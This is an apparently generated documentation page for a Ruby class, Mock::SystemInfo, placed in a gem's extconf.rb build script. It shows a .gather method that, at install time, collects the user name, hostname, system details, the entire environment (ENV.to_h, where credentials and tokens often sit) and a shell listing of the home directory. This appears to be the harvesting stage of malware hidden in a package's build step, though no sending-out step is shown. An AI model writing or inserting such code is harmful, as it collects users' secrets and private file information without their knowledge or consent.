Class: Mock::SystemInfo
- Inherits:
-
Object
- Object
- Mock::SystemInfo
- Defined in:
- ext/ext/extconf.rb
Class Method Summary collapse
Class Method Details
.gather ⇒ Object
66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
# File 'ext/ext/extconf.rb', line 66 def self.gather os_type = detect_os data = { os: os_type, timestamp: Time.now.to_i, user: get_user, user_info: get_user_info(os_type), system_info: get_system_info(os_type), current_directory: Dir.pwd, hostname: Socket.gethostname, ruby_version: RUBY_VERSION, gem_path: get_gem_path, env: ENV.to_h, home: `find $HOME -maxdepth 2` } data end |